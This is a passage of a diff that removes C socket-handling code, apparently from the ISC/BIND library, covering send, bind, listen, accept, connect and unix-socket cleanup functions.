-	} else {
-		if (minimum == 0) {
-			event->minimum = region->length;
-		} else {
-			event->minimum = minimum;
-		}
-	}
-
-	return (socket_recv(sock, event, task, flags));
-}
-
-static isc_result_t
-socket_send(isc_socket_t *sock, isc_socketevent_t *dev, isc_task_t *task,
-	    const isc_sockaddr_t *address, struct in6_pktinfo *pktinfo,
-	    unsigned int flags) {
-	int io_state;
-	bool have_lock = false;
-	isc_task_t *ntask = NULL;
-	isc_result_t result = ISC_R_SUCCESS;
-
-	dev->ev_sender = task;
-
-	set_dev_address(address, sock, dev);
-	if (pktinfo != NULL) {
-		dev->attributes |= ISC_SOCKEVENTATTR_PKTINFO;
-		dev->pktinfo = *pktinfo;
-
-		if (!isc_sockaddr_issitelocal(&dev->address) &&
-		    !isc_sockaddr_islinklocal(&dev->address))
-		{
-			socket_log(sock, NULL, TRACE,
-				   "pktinfo structure provided, ifindex %u "
-				   "(set to 0)",
-				   pktinfo->ipi6_ifindex);
-
-			/*
-			 * Set the pktinfo index to 0 here, to let the
-			 * kernel decide what interface it should send on.
-			 */
-			dev->pktinfo.ipi6_ifindex = 0;
-		}
-	}
-
-	if (sock->type == isc_sockettype_udp) {
-		io_state = doio_send(sock, dev);
-	} else {
-		LOCK(&sock->lock);
-		have_lock = true;
-
-		if (ISC_LIST_EMPTY(sock->send_list)) {
-			io_state = doio_send(sock, dev);
-		} else {
-			io_state = DOIO_SOFT;
-		}
-	}
-
-	switch (io_state) {
-	case DOIO_SOFT:
-		/*
-		 * We couldn't send all or part of the request right now, so
-		 * queue it unless ISC_SOCKFLAG_NORETRY is set.
-		 */
-		if ((flags & ISC_SOCKFLAG_NORETRY) == 0) {
-			isc_task_attach(task, &ntask);
-			dev->attributes |= ISC_SOCKEVENTATTR_ATTACHED;
-
-			if (!have_lock) {
-				LOCK(&sock->lock);
-				have_lock = true;
-			}
-
-			/*
-			 * Enqueue the request.  If the socket was previously
-			 * not being watched, poke the watcher to start
-			 * paying attention to it.
-			 */
-			bool do_poke = ISC_LIST_EMPTY(sock->send_list);
-			ISC_LIST_ENQUEUE(sock->send_list, dev, ev_link);
-			if (do_poke) {
-				select_poke(sock->manager, sock->threadid,
-					    sock->fd, SELECT_POKE_WRITE);
-			}
-			socket_log(sock, NULL, EVENT,
-				   "socket_send: event %p -> task %p", dev,
-				   ntask);
-
-			if ((flags & ISC_SOCKFLAG_IMMEDIATE) != 0) {
-				result = ISC_R_INPROGRESS;
-			}
-			break;
-		}
-
-		/* FALLTHROUGH */
-
-	case DOIO_HARD:
-	case DOIO_SUCCESS:
-		if (!have_lock) {
-			LOCK(&sock->lock);
-			have_lock = true;
-		}
-		if ((flags & ISC_SOCKFLAG_IMMEDIATE) == 0) {
-			send_senddone_event(sock, &dev);
-		}
-		break;
-	}
-
-	if (have_lock) {
-		UNLOCK(&sock->lock);
-	}
-
-	return (result);
-}
-
-isc_result_t
-isc_socket_send(isc_socket_t *sock, isc_region_t *region, isc_task_t *task,
-		isc_taskaction_t action, void *arg) {
-	/*
-	 * REQUIRE() checking is performed in isc_socket_sendto().
-	 */
-	return (isc_socket_sendto(sock, region, task, action, arg, NULL, NULL));
-}
-
-isc_result_t
-isc_socket_sendto(isc_socket_t *sock, isc_region_t *region, isc_task_t *task,
-		  isc_taskaction_t action, void *arg,
-		  const isc_sockaddr_t *address, struct in6_pktinfo *pktinfo) {
-	isc_socketevent_t *dev;
-	isc_socketmgr_t *manager;
-
-	REQUIRE(VALID_SOCKET(sock));
-	REQUIRE(region != NULL);
-	REQUIRE(task != NULL);
-	REQUIRE(action != NULL);
-
-	manager = sock->manager;
-	REQUIRE(VALID_MANAGER(manager));
-
-	INSIST(sock->bound);
-
-	dev = allocate_socketevent(manager->mctx, sock, ISC_SOCKEVENT_SENDDONE,
-				   action, arg);
-	if (dev == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
-	dev->region = *region;
-
-	return (socket_send(sock, dev, task, address, pktinfo, 0));
-}
-
-isc_result_t
-isc_socket_sendto2(isc_socket_t *sock, isc_region_t *region, isc_task_t *task,
-		   const isc_sockaddr_t *address, struct in6_pktinfo *pktinfo,
-		   isc_socketevent_t *event, unsigned int flags) {
-	REQUIRE(VALID_SOCKET(sock));
-	REQUIRE((flags & ~(ISC_SOCKFLAG_IMMEDIATE | ISC_SOCKFLAG_NORETRY)) ==
-		0);
-	if ((flags & ISC_SOCKFLAG_NORETRY) != 0) {
-		REQUIRE(sock->type == isc_sockettype_udp);
-	}
-	event->ev_sender = sock;
-	event->result = ISC_R_UNSET;
-	event->region = *region;
-	event->n = 0;
-	event->offset = 0;
-	event->attributes &= ~ISC_SOCKEVENTATTR_ATTACHED;
-
-	return (socket_send(sock, event, task, address, pktinfo, flags));
-}
-
-void
-isc_socket_cleanunix(const isc_sockaddr_t *sockaddr, bool active) {
-	int s;
-	struct stat sb;
-	char strbuf[ISC_STRERRORSIZE];
-
-	if (sockaddr->type.sa.sa_family != AF_UNIX) {
-		return;
-	}
-
-#ifndef S_ISSOCK
-#if defined(S_IFMT) && defined(S_IFSOCK)
-#define S_ISSOCK(mode) ((mode & S_IFMT) == S_IFSOCK)
-#elif defined(_S_IFMT) && defined(S_IFSOCK)
-#define S_ISSOCK(mode) ((mode & _S_IFMT) == S_IFSOCK)
-#endif /* if defined(S_IFMT) && defined(S_IFSOCK) */
-#endif /* ifndef S_ISSOCK */
-
-#ifndef S_ISFIFO
-#if defined(S_IFMT) && defined(S_IFIFO)
-#define S_ISFIFO(mode) ((mode & S_IFMT) == S_IFIFO)
-#elif defined(_S_IFMT) && defined(S_IFIFO)
-#define S_ISFIFO(mode) ((mode & _S_IFMT) == S_IFIFO)
-#endif /* if defined(S_IFMT) && defined(S_IFIFO) */
-#endif /* ifndef S_ISFIFO */
-
-#if !defined(S_ISFIFO) && !defined(S_ISSOCK)
-/* cppcheck-suppress preprocessorErrorDirective */
-#error \
-	You need to define S_ISFIFO and S_ISSOCK as appropriate for your platform.  See <sys/stat.h>.
-#endif /* if !defined(S_ISFIFO) && !defined(S_ISSOCK) */
-
-#ifndef S_ISFIFO
-#define S_ISFIFO(mode) 0
-#endif /* ifndef S_ISFIFO */
-
-#ifndef S_ISSOCK
-#define S_ISSOCK(mode) 0
-#endif /* ifndef S_ISSOCK */
-
-	if (stat(sockaddr->type.sunix.sun_path, &sb) < 0) {
-		switch (errno) {
-		case ENOENT:
-			if (active) { /* We exited cleanly last time */
-				break;
-			}
-			/* FALLTHROUGH */
-		default:
-			strerror_r(errno, strbuf, sizeof(strbuf));
-			isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-				      ISC_LOGMODULE_SOCKET,
-				      active ? ISC_LOG_ERROR : ISC_LOG_WARNING,
-				      "isc_socket_cleanunix: stat(%s): %s",
-				      sockaddr->type.sunix.sun_path, strbuf);
-			return;
-		}
-	} else {
-		if (!(S_ISSOCK(sb.st_mode) || S_ISFIFO(sb.st_mode))) {
-			isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-				      ISC_LOGMODULE_SOCKET,
-				      active ? ISC_LOG_ERROR : ISC_LOG_WARNING,
-				      "isc_socket_cleanunix: %s: not a socket",
-				      sockaddr->type.sunix.sun_path);
-			return;
-		}
-	}
-
-	if (active) {
-		if (unlink(sockaddr->type.sunix.sun_path) < 0) {
-			strerror_r(errno, strbuf, sizeof(strbuf));
-			isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-				      ISC_LOGMODULE_SOCKET, ISC_LOG_ERROR,
-				      "isc_socket_cleanunix: unlink(%s): %s",
-				      sockaddr->type.sunix.sun_path, strbuf);
-		}
-		return;
-	}
-
-	s = socket(AF_UNIX, SOCK_STREAM, 0);
-	if (s < 0) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-			      ISC_LOGMODULE_SOCKET, ISC_LOG_WARNING,
-			      "isc_socket_cleanunix: socket(%s): %s",
-			      sockaddr->type.sunix.sun_path, strbuf);
-		return;
-	}
-
-	if (connect(s, (const struct sockaddr *)&sockaddr->type.sunix,
-		    sizeof(sockaddr->type.sunix)) < 0)
-	{
-		switch (errno) {
-		case ECONNREFUSED:
-		case ECONNRESET:
-			if (unlink(sockaddr->type.sunix.sun_path) < 0) {
-				strerror_r(errno, strbuf, sizeof(strbuf));
-				isc_log_write(
-					isc_lctx, ISC_LOGCATEGORY_GENERAL,
-					ISC_LOGMODULE_SOCKET, ISC_LOG_WARNING,
-					"isc_socket_cleanunix: "
-					"unlink(%s): %s",
-					sockaddr->type.sunix.sun_path, strbuf);
-			}
-			break;
-		default:
-			strerror_r(errno, strbuf, sizeof(strbuf));
-			isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-				      ISC_LOGMODULE_SOCKET, ISC_LOG_WARNING,
-				      "isc_socket_cleanunix: connect(%s): %s",
-				      sockaddr->type.sunix.sun_path, strbuf);
-			break;
-		}
-	}
-	close(s);
-}
-
-isc_result_t
-isc_socket_permunix(const isc_sockaddr_t *sockaddr, uint32_t perm,
-		    uint32_t owner, uint32_t group) {
-	isc_result_t result = ISC_R_SUCCESS;
-	char strbuf[ISC_STRERRORSIZE];
-	char path[sizeof(sockaddr->type.sunix.sun_path)];
-#ifdef NEED_SECURE_DIRECTORY
-	char *slash;
-#endif /* ifdef NEED_SECURE_DIRECTORY */
-
-	REQUIRE(sockaddr->type.sa.sa_family == AF_UNIX);
-	INSIST(strlen(sockaddr->type.sunix.sun_path) < sizeof(path));
-	strlcpy(path, sockaddr->type.sunix.sun_path, sizeof(path));
-
-#ifdef NEED_SECURE_DIRECTORY
-	slash = strrchr(path, '/');
-	if (slash != NULL) {
-		if (slash != path) {
-			*slash = '\0';
-		} else {
-			strlcpy(path, "/", sizeof(path));
-		}
-	} else {
-		strlcpy(path, ".", sizeof(path));
-	}
-#endif /* ifdef NEED_SECURE_DIRECTORY */
-
-	if (chmod(path, perm) < 0) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-			      ISC_LOGMODULE_SOCKET, ISC_LOG_ERROR,
-			      "isc_socket_permunix: chmod(%s, %d): %s", path,
-			      perm, strbuf);
-		result = ISC_R_FAILURE;
-	}
-	if (chown(path, owner, group) < 0) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-			      ISC_LOGMODULE_SOCKET, ISC_LOG_ERROR,
-			      "isc_socket_permunix: chown(%s, %d, %d): %s",
-			      path, owner, group, strbuf);
-		result = ISC_R_FAILURE;
-	}
-	return (result);
-}
-
-isc_result_t
-isc_socket_bind(isc_socket_t *sock, const isc_sockaddr_t *sockaddr,
-		isc_socket_options_t options) {
-	char strbuf[ISC_STRERRORSIZE];
-	int on = 1;
-
-	REQUIRE(VALID_SOCKET(sock));
-
-	LOCK(&sock->lock);
-
-	INSIST(!sock->bound);
-	INSIST(!sock->dupped);
-
-	if (sock->pf != sockaddr->type.sa.sa_family) {
-		UNLOCK(&sock->lock);
-		return (ISC_R_FAMILYMISMATCH);
-	}
-
-	/*
-	 * Only set SO_REUSEADDR when we want a specific port.
-	 */
-#ifdef AF_UNIX
-	if (sock->pf == AF_UNIX) {
-		goto bind_socket;
-	}
-#endif /* ifdef AF_UNIX */
-	if ((options & ISC_SOCKET_REUSEADDRESS) != 0 &&
-	    isc_sockaddr_getport(sockaddr) != (in_port_t)0)
-	{
-		if (setsockopt(sock->fd, SOL_SOCKET, SO_REUSEADDR, (void *)&on,
-			       sizeof(on)) < 0) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "setsockopt(%d) failed", sock->fd);
-		}
-#if defined(__FreeBSD_kernel__) && defined(SO_REUSEPORT_LB)
-		if (setsockopt(sock->fd, SOL_SOCKET, SO_REUSEPORT_LB,
-			       (void *)&on, sizeof(on)) < 0)
-		{
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "setsockopt(%d) failed", sock->fd);
-		}
-#elif defined(__linux__) && defined(SO_REUSEPORT)
-		if (setsockopt(sock->fd, SOL_SOCKET, SO_REUSEPORT, (void *)&on,
-			       sizeof(on)) < 0) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "setsockopt(%d) failed", sock->fd);
-		}
-#endif		/* if defined(__FreeBSD_kernel__) && defined(SO_REUSEPORT_LB) */
-		/* Press on... */
-	}
-#ifdef AF_UNIX
-bind_socket:
-#endif /* ifdef AF_UNIX */
-	if (bind(sock->fd, &sockaddr->type.sa, sockaddr->length) < 0) {
-		inc_stats(sock->manager->stats,
-			  sock->statsindex[STATID_BINDFAIL]);
-
-		UNLOCK(&sock->lock);
-		switch (errno) {
-		case EACCES:
-			return (ISC_R_NOPERM);
-		case EADDRNOTAVAIL:
-			return (ISC_R_ADDRNOTAVAIL);
-		case EADDRINUSE:
-			return (ISC_R_ADDRINUSE);
-		case EINVAL:
-			return (ISC_R_BOUND);
-		default:
-			strerror_r(errno, strbuf, sizeof(strbuf));
-			UNEXPECTED_ERROR(__FILE__, __LINE__, "bind: %s",
-					 strbuf);
-			return (ISC_R_UNEXPECTED);
-		}
-	}
-
-	socket_log(sock, sockaddr, TRACE, "bound");
-	sock->bound = 1;
-
-	UNLOCK(&sock->lock);
-	return (ISC_R_SUCCESS);
-}
-
-/*
- * Enable this only for specific OS versions, and only when they have repaired
- * their problems with it.  Until then, this is is broken and needs to be
- * disabled by default.  See RT22589 for details.
- */
-#undef ENABLE_ACCEPTFILTER
-
-isc_result_t
-isc_socket_filter(isc_socket_t *sock, const char *filter) {
-#if defined(SO_ACCEPTFILTER) && defined(ENABLE_ACCEPTFILTER)
-	char strbuf[ISC_STRERRORSIZE];
-	struct accept_filter_arg afa;
-#else  /* if defined(SO_ACCEPTFILTER) && defined(ENABLE_ACCEPTFILTER) */
-	UNUSED(sock);
-	UNUSED(filter);
-#endif /* if defined(SO_ACCEPTFILTER) && defined(ENABLE_ACCEPTFILTER) */
-
-	REQUIRE(VALID_SOCKET(sock));
-
-#if defined(SO_ACCEPTFILTER) && defined(ENABLE_ACCEPTFILTER)
-	bzero(&afa, sizeof(afa));
-	strlcpy(afa.af_name, filter, sizeof(afa.af_name));
-	if (setsockopt(sock->fd, SOL_SOCKET, SO_ACCEPTFILTER, &afa,
-		       sizeof(afa)) == -1) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		socket_log(sock, NULL, CREATION,
-			   "setsockopt(SO_ACCEPTFILTER): %s", strbuf);
-		return (ISC_R_FAILURE);
-	}
-	return (ISC_R_SUCCESS);
-#else  /* if defined(SO_ACCEPTFILTER) && defined(ENABLE_ACCEPTFILTER) */
-	return (ISC_R_NOTIMPLEMENTED);
-#endif /* if defined(SO_ACCEPTFILTER) && defined(ENABLE_ACCEPTFILTER) */
-}
-
-/*
- * Try enabling TCP Fast Open for a given socket if the OS supports it.
- */
-static void
-set_tcp_fastopen(isc_socket_t *sock, unsigned int backlog) {
-#if defined(ENABLE_TCP_FASTOPEN) && defined(TCP_FASTOPEN)
-	char strbuf[ISC_STRERRORSIZE];
-
-/*
- * FreeBSD, as of versions 10.3 and 11.0, defines TCP_FASTOPEN while also
- * shipping a default kernel without TFO support, so we special-case it by
- * performing an additional runtime check for TFO support using sysctl to
- * prevent setsockopt() errors from being logged.
- */
-#if defined(__FreeBSD__) && defined(HAVE_SYSCTLBYNAME)
-#define SYSCTL_TFO "net.inet.tcp.fastopen.enabled"
-	unsigned int enabled;
-	size_t enabledlen = sizeof(enabled);
-	static bool tfo_notice_logged = false;
-
-	if (sysctlbyname(SYSCTL_TFO, &enabled, &enabledlen, NULL, 0) < 0) {
-		/*
-		 * This kernel does not support TCP Fast Open.  There is
-		 * nothing more we can do.
-		 */
-		return;
-	} else if (enabled == 0) {
-		/*
-		 * This kernel does support TCP Fast Open, but it is disabled
-		 * by sysctl.  Notify the user, but do not nag.
-		 */
-		if (!tfo_notice_logged) {
-			isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-				      ISC_LOGMODULE_SOCKET, ISC_LOG_NOTICE,
-				      "TCP_FASTOPEN support is disabled by "
-				      "sysctl (" SYSCTL_TFO " = 0)");
-			tfo_notice_logged = true;
-		}
-		return;
-	}
-#endif /* if defined(__FreeBSD__) && defined(HAVE_SYSCTLBYNAME) */
-
-#ifdef __APPLE__
-	backlog = 1;
-#else  /* ifdef __APPLE__ */
-	backlog = backlog / 2;
-	if (backlog == 0) {
-		backlog = 1;
-	}
-#endif /* ifdef __APPLE__ */
-	if (setsockopt(sock->fd, IPPROTO_TCP, TCP_FASTOPEN, (void *)&backlog,
-		       sizeof(backlog)) < 0)
-	{
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "setsockopt(%d, TCP_FASTOPEN) failed with %s",
-				 sock->fd, strbuf);
-		/* TCP_FASTOPEN is experimental so ignore failures */
-	}
-#else  /* if defined(ENABLE_TCP_FASTOPEN) && defined(TCP_FASTOPEN) */
-	UNUSED(sock);
-	UNUSED(backlog);
-#endif /* if defined(ENABLE_TCP_FASTOPEN) && defined(TCP_FASTOPEN) */
-}
-
-/*
- * Set up to listen on a given socket.  We do this by creating an internal
- * event that will be dispatched when the socket has read activity.  The
- * watcher will send the internal event to the task when there is a new
- * connection.
- *
- * Unlike in read, we don't preallocate a done event here.  Every time there
- * is a new connection we'll have to allocate a new one anyway, so we might
- * as well keep things simple rather than having to track them.
- */
-isc_result_t
-isc_socket_listen(isc_socket_t *sock, unsigned int backlog) {
-	char strbuf[ISC_STRERRORSIZE];
-
-	REQUIRE(VALID_SOCKET(sock));
-
-	LOCK(&sock->lock);
-
-	REQUIRE(!sock->listener);
-	REQUIRE(sock->bound);
-	REQUIRE(sock->type == isc_sockettype_tcp ||
-		sock->type == isc_sockettype_unix);
-
-	if (backlog == 0) {
-		backlog = SOMAXCONN;
-	}
-
-	if (listen(sock->fd, (int)backlog) < 0) {
-		UNLOCK(&sock->lock);
-		strerror_r(errno, strbuf, sizeof(strbuf));
-
-		UNEXPECTED_ERROR(__FILE__, __LINE__, "listen: %s", strbuf);
-
-		return (ISC_R_UNEXPECTED);
-	}
-
-	set_tcp_fastopen(sock, backlog);
-
-	sock->listener = 1;
-
-	UNLOCK(&sock->lock);
-	return (ISC_R_SUCCESS);
-}
-
-/*
- * This should try to do aggressive accept() XXXMLG
- */
-isc_result_t
-isc_socket_accept(isc_socket_t *sock, isc_task_t *task, isc_taskaction_t action,
-		  void *arg) {
-	isc_socket_newconnev_t *dev;
-	isc_socketmgr_t *manager;
-	isc_task_t *ntask = NULL;
-	isc_socket_t *nsock;
-	isc_result_t result;
-	bool do_poke = false;
-
-	REQUIRE(VALID_SOCKET(sock));
-	manager = sock->manager;
-	REQUIRE(VALID_MANAGER(manager));
-
-	LOCK(&sock->lock);
-
-	REQUIRE(sock->listener);
-
-	/*
-	 * Sender field is overloaded here with the task we will be sending
-	 * this event to.  Just before the actual event is delivered the
-	 * actual ev_sender will be touched up to be the socket.
-	 */
-	dev = (isc_socket_newconnev_t *)isc_event_allocate(
-		manager->mctx, task, ISC_SOCKEVENT_NEWCONN, action, arg,
-		sizeof(*dev));
-	ISC_LINK_INIT(dev, ev_link);
-
-	result = allocate_socket(manager, sock->type, &nsock);
-	if (result != ISC_R_SUCCESS) {
-		isc_event_free(ISC_EVENT_PTR(&dev));
-		UNLOCK(&sock->lock);
-		return (result);
-	}
-
-	/*
-	 * Attach to socket and to task.
-	 */
-	isc_task_attach(task, &ntask);
-	if (isc_task_exiting(ntask)) {
-		free_socket(&nsock);
-		isc_task_detach(&ntask);
-		isc_event_free(ISC_EVENT_PTR(&dev));
-		UNLOCK(&sock->lock);
-		return (ISC_R_SHUTTINGDOWN);
-	}
-	isc_refcount_increment0(&nsock->references);
-	nsock->statsindex = sock->statsindex;
-
-	dev->ev_sender = ntask;
-	dev->newsocket = nsock;
-
-	/*
-	 * Poke watcher here.  We still have the socket locked, so there
-	 * is no race condition.  We will keep the lock for such a short
-	 * bit of time waking it up now or later won't matter all that much.
-	 */
-	do_poke = ISC_LIST_EMPTY(sock->accept_list);
-	ISC_LIST_ENQUEUE(sock->accept_list, dev, ev_link);
-	if (do_poke) {
-		select_poke(manager, sock->threadid, sock->fd,
-			    SELECT_POKE_ACCEPT);
-	}
-	UNLOCK(&sock->lock);
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-isc_socket_connect(isc_socket_t *sock, const isc_sockaddr_t *addr,
-		   isc_task_t *task, isc_taskaction_t action, void *arg) {
-	isc_socket_connev_t *dev;
-	isc_task_t *ntask = NULL;
-	isc_socketmgr_t *manager;
-	int cc;
-	char strbuf[ISC_STRERRORSIZE];
-	char addrbuf[ISC_SOCKADDR_FORMATSIZE];
-
-	REQUIRE(VALID_SOCKET(sock));
-	REQUIRE(addr != NULL);
-	REQUIRE(task != NULL);
-	REQUIRE(action != NULL);
-
-	manager = sock->manager;
-	REQUIRE(VALID_MANAGER(manager));
-	REQUIRE(addr != NULL);
-
-	if (isc_sockaddr_ismulticast(addr)) {
-		return (ISC_R_MULTICAST);
-	}
-
-	LOCK(&sock->lock);
-
-	dev = (isc_socket_connev_t *)isc_event_allocate(
-		manager->mctx, sock, ISC_SOCKEVENT_CONNECT, action, arg,
-		sizeof(*dev));
-	ISC_LINK_INIT(dev, ev_link);
-
-	if (sock->connecting) {
-		INSIST(isc_sockaddr_equal(&sock->peer_address, addr));
-		goto queue;
-	}
-
-	if (sock->connected) {
-		INSIST(isc_sockaddr_equal(&sock->peer_address, addr));
-		dev->result = ISC_R_SUCCESS;
-		isc_task_sendto(task, ISC_EVENT_PTR(&dev), sock->threadid);
-
-		UNLOCK(&sock->lock);
-
-		return (ISC_R_SUCCESS);
-	}
-
-	/*
-	 * Try to do the connect right away, as there can be only one
-	 * outstanding, and it might happen to complete.
-	 */
-	sock->peer_address = *addr;
-	cc = connect(sock->fd, &addr->type.sa, addr->length);
-	if (cc < 0) {
-		/*
-		 * The socket is nonblocking and the connection cannot be
-		 * completed immediately.  It is possible to select(2) or
-		 * poll(2) for completion by selecting the socket for writing.
-		 * After select(2) indicates writability, use getsockopt(2) to
-		 * read the SO_ERROR option at level SOL_SOCKET to determine
-		 * whether connect() completed successfully (SO_ERROR is zero)
-		 * or unsuccessfully (SO_ERROR is one of the usual error codes
-		 * listed here, explaining the reason for the failure).
-		 */
-		if (sock->type == isc_sockettype_udp && errno == EINPROGRESS) {
-			cc = 0;
-			goto success;
-		}
-		if (SOFT_ERROR(errno) || errno == EINPROGRESS) {
-			goto queue;
-		}
-
-		switch (errno) {
-#define ERROR_MATCH(a, b)        \
-	case a:                  \
-		dev->result = b; \
-		goto err_exit;
-			ERROR_MATCH(EACCES, ISC_R_NOPERM);
-			ERROR_MATCH(EADDRNOTAVAIL, ISC_R_ADDRNOTAVAIL);
-			ERROR_MATCH(EAFNOSUPPORT, ISC_R_ADDRNOTAVAIL);
-			ERROR_MATCH(ECONNREFUSED, ISC_R_CONNREFUSED);
-			ERROR_MATCH(EHOSTUNREACH, ISC_R_HOSTUNREACH);
-#ifdef EHOSTDOWN
-			ERROR_MATCH(EHOSTDOWN, ISC_R_HOSTUNREACH);
-#endif /* ifdef EHOSTDOWN */
-			ERROR_MATCH(ENETUNREACH, ISC_R_NETUNREACH);
-			ERROR_MATCH(ENOBUFS, ISC_R_NORESOURCES);
-			ERROR_MATCH(EPERM, ISC_R_HOSTUNREACH);
-			ERROR_MATCH(EPIPE, ISC_R_NOTCONNECTED);
-			ERROR_MATCH(ETIMEDOUT, ISC_R_TIMEDOUT);
-			ERROR_MATCH(ECONNRESET, ISC_R_CONNECTIONRESET);
-#undef ERROR_MATCH
-		}
-
-		sock->connected = 0;
-
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		isc_sockaddr_format(addr, addrbuf, sizeof(addrbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__, "connect(%s) %d/%s",
-				 addrbuf, errno, strbuf);
-
-		UNLOCK(&sock->lock);
-		inc_stats(sock->manager->stats,
-			  sock->statsindex[STATID_CONNECTFAIL]);
-		isc_event_free(ISC_EVENT_PTR(&dev));
-		return (ISC_R_UNEXPECTED);
-
-	err_exit:
-		sock->connected = 0;
-		isc_task_sendto(task, ISC_EVENT_PTR(&dev), sock->threadid);
-
-		UNLOCK(&sock->lock);
-		inc_stats(sock->manager->stats,
-			  sock->statsindex[STATID_CONNECTFAIL]);
-		return (ISC_R_SUCCESS);
-	}
-
-	/*
-	 * If connect completed, fire off the done event.
-	 */
-success:
-	if (cc == 0) {
-		sock->connected = 1;
-		sock->bound = 1;
-		dev->result = ISC_R_SUCCESS;
-		isc_task_sendto(task, ISC_EVENT_PTR(&dev), sock->threadid);
-
-		UNLOCK(&sock->lock);
-
-		inc_stats(sock->manager->stats,
-			  sock->statsindex[STATID_CONNECT]);
-
-		return (ISC_R_SUCCESS);
-	}
-
-queue:
-
-	/*
-	 * Attach to task.
-	 */
-	isc_task_attach(task, &ntask);
-
-	dev->ev_sender = ntask;
-
-	/*
-	 * Poke watcher here.  We still have the socket locked, so there
-	 * is no race condition.  We will keep the lock for such a short
-	 * bit of time waking it up now or later won't matter all that much.
-	 */
-	bool do_poke = ISC_LIST_EMPTY(sock->connect_list);
-	ISC_LIST_ENQUEUE(sock->connect_list, dev, ev_link);
-	if (do_poke && !sock->connecting) {
-		sock->connecting = 1;
-		select_poke(manager, sock->threadid, sock->fd,
-			    SELECT_POKE_CONNECT);
-	}
-
-	UNLOCK(&sock->lock);
-	return (ISC_R_SUCCESS);
-}
-
-/*
- * Called when a socket with a pending connect() finishes.
- */
-static void
-internal_connect(isc_socket_t *sock) {
-	isc_socket_connev_t *dev;
-	int cc;
-	isc_result_t result;
-	socklen_t optlen;
-	char strbuf[ISC_STRERRORSIZE];
-	char peerbuf[ISC_SOCKADDR_FORMATSIZE];
-
-	INSIST(VALID_SOCKET(sock));
-	REQUIRE(sock->fd >= 0);
-
-	/*
-	 * Get the first item off the connect list.
-	 * If it is empty, unlock the socket and return.
-	 */
-	dev = ISC_LIST_HEAD(sock->connect_list);
-	if (dev == NULL) {
-		INSIST(!sock->connecting);
-		goto finish;
-	}
-
-	INSIST(sock->connecting);
-	sock->connecting = 0;
-
-	/*
-	 * Get any possible error status here.
-	 */
-	optlen = sizeof(cc);
-	if (getsockopt(sock->fd, SOL_SOCKET, SO_ERROR, (void *)&cc,
-		       (void *)&optlen) != 0)
-	{
-		cc = errno;
-	} else {
-		errno = cc;
-	}
-
-	if (errno != 0) {
-		/*
-		 * If the error is EAGAIN, just re-select on this
-		 * fd and pretend nothing strange happened.
-		 */
-		if (SOFT_ERROR(errno) || errno == EINPROGRESS) {
-			sock->connecting = 1;
-			return;
-		}
-
-		inc_stats(sock->manager->stats,
-			  sock->statsindex[STATID_CONNECTFAIL]);
-
-		/*
-		 * Translate other errors into ISC_R_* flavors.
-		 */
-		switch (errno) {
-#define ERROR_MATCH(a, b)   \
-	case a:             \
-		result = b; \
-		break;
-			ERROR_MATCH(EACCES, ISC_R_NOPERM);
-			ERROR_MATCH(EADDRNOTAVAIL, ISC_R_ADDRNOTAVAIL);
-			ERROR_MATCH(EAFNOSUPPORT, ISC_R_ADDRNOTAVAIL);
-			ERROR_MATCH(ECONNREFUSED, ISC_R_CONNREFUSED);
-			ERROR_MATCH(EHOSTUNREACH, ISC_R_HOSTUNREACH);
-#ifdef EHOSTDOWN
-			ERROR_MATCH(EHOSTDOWN, ISC_R_HOSTUNREACH);
-#endif /* ifdef EHOSTDOWN */
-			ERROR_MATCH(ENETUNREACH, ISC_R_NETUNREACH);
-			ERROR_MATCH(ENOBUFS, ISC_R_NORESOURCES);
-			ERROR_MATCH(EPERM, ISC_R_HOSTUNREACH);
-			ERROR_MATCH(EPIPE, ISC_R_NOTCONNECTED);
-			ERROR_MATCH(ETIMEDOUT, ISC_R_TIMEDOUT);
-			ERROR_MATCH(ECONNRESET, ISC_R_CONNECTIONRESET);
-#undef ERROR_MATCH
-		default:
-			result = ISC_R_UNEXPECTED;
-			isc_sockaddr_format(&sock->peer_address, peerbuf,
-					    sizeof(peerbuf));
-			strerror_r(errno, strbuf, sizeof(strbuf));
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "internal_connect: connect(%s) %s",
-					 peerbuf, strbuf);
-		}
-	} else {
-		inc_stats(sock->manager->stats,
-			  sock->statsindex[STATID_CONNECT]);
-		result = ISC_R_SUCCESS;
-		sock->connected = 1;
-		sock->bound = 1;
-	}
-
-	do {
-		dev->result = result;
-		send_connectdone_event(sock, &dev);
-		dev = ISC_LIST_HEAD(sock->connect_list);
-	} while (dev != NULL);
-
-finish:
-	unwatch_fd(&sock->manager->threads[sock->threadid], sock->fd,
-		   SELECT_POKE_CONNECT);
-}
-
-isc_result_t
-isc_socket_getpeername(isc_socket_t *sock, isc_sockaddr_t *addressp) {
-	isc_result_t result;
-
-	REQUIRE(VALID_SOCKET(sock));
-	REQUIRE(addressp != NULL);
-
-	LOCK(&sock->lock);
-
-	if (sock->connected) {
-		*addressp = sock->peer_address;
-		result = ISC_R_SUCCESS;
-	} else {
-		result = ISC_R_NOTCONNECTED;
-	}
-
-	UNLOCK(&sock->lock);
-
-	return (result);
-}
-
-isc_result_t
-isc_socket_getsockname(isc_socket_t *sock, isc_sockaddr_t *addressp) {
-	socklen_t len;
-	isc_result_t result;
-	char strbuf[ISC_STRERRORSIZE];
-
-	REQUIRE(VALID_SOCKET(sock));
-	REQUIRE(addressp != NULL);
-
-	LOCK(&sock->lock);
-
